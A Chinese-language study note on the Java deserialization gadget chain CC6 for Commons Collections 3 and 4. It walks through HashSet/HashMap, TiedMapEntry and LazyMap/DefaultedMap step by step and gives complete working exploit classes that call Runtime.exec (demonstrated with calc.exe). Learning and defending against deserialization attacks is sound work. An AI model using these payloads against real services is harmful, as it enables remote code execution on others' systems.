java反序列化----CC6利用链学习笔记(HashMap和HashSet)(基于common-collections3和4)
java反序列化----CC6利用链学习笔记
环境配置
jdk8(无版本要求)
pom.xml中写入
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
利用链
CC6在CC5的基础上稍作更改,CC5是用toString方法去触发getValue,而CC6是用hashCode方法触发getValue
需要URLDNS和CC5链的基础,再加上CC2的先用无害链触发的思路
java反序列化----URLDNS利用链学习
java反序列化----CC5利用链学习笔记
java反序列化----CC2利用链学习笔记(PriorityQueue和TemplatesImpl)
前半部分代码
String cmd = "calc.exe";
//构造恶意调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");
这里采用URLDNS链的思路,使用HashMap的put方法
现在我们需要找到一个类,重写了readObject方法并且调用了put方法
HashSet类是一个选择(或者用URLDNS链的基础可知,直接使用HashMap也可以)
所以再添加上这些就可以弹出计算器了
/* //或者
HashMap exp = new HashMap();
exp.put(tiedMapEntry,"value");
*/
HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
oss.writeObject(tiedMapEntry);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.txt"));
ois.readObject();
但是很容易发现在序列化的过程中就弹出计算器
用CC2无害链触发
package cc6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
public class CC6 {
public static void main(String[] args) throws Exception{
//先利用无害利用链触发掉
Transformer[] transformers = new Transformer[] {new
ConstantTransformer(1)};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap innerMap = new HashMap();
LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"key");
/*
//方法1:
HashMap exp = new HashMap();
exp.put(tiedMapEntry,"value");
*/
//方法2:
HashSet exp = new HashSet();
exp.add(tiedMapEntry);
//构造恶意调用链
String cmd = "calc.exe";
Transformer[] transformers2 = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
//将chainedTransformer用反射将无害链替换成恶意链
Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers2);
//序列化
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
oss.writeObject(exp);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.txt"));
ois.readObject();
}
}
但此时发现直接无法弹出计算器了
通过查看HashSet的源码发现其add方法本质上就是HashMap的put方法
然后查看LazyMap的get方法
if (map.containsKey(key) == false)
要通过if条件,需要本身没有密钥,所以可以用remove方法去除密钥
再添上 outerMap.remove("key");
所以最终EXP:
package cc6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
public class CC6 {
public static void main(String[] args) throws Exception{
//先利用无害利用链触发掉
Transformer[] transformers = new Transformer[] {new
ConstantTransformer(1)};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap innerMap = new HashMap();
LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"key");
/*
//方法1:
HashMap exp = new HashMap();
exp.put(tiedMapEntry,"value");
*/
//方法2:
HashSet exp = new HashSet();
exp.add(tiedMapEntry);
outerMap.remove("key");
//构造恶意调用链
String cmd = "calc.exe";
Transformer[] transformers2 = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
//将chainedTransformer用反射将无害链替换成恶意链
Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers2);
//序列化
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
oss.writeObject(exp);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.txt"));
ois.readObject();
}
}
如果使用了commons-collections4的话的payload(没改提前触发payload的问题)
package cc6;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.DefaultedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC6_2 {
public static void main(String[] args) throws Exception{
//构造恶意调用链
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Class<DefaultedMap> c = DefaultedMap.class;
Constructor<DefaultedMap> constructor = c.getDeclaredConstructor(Map.class,Transformer.class);
constructor.setAccessible(true);
DefaultedMap outerMap = constructor.newInstance(innerMap,chainedTransformer);//LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"key");
/*
//方法1:
HashMap exp = new HashMap();
exp.put(tiedMapEntry,"value");
*/
//方法2:
HashSet exp = new HashSet();
exp.add(tiedMapEntry);
outerMap.remove("key");
//序列化
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc6_2.txt"));
oss.writeObject(exp);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6_2.txt"));
ois.readObject();
}
}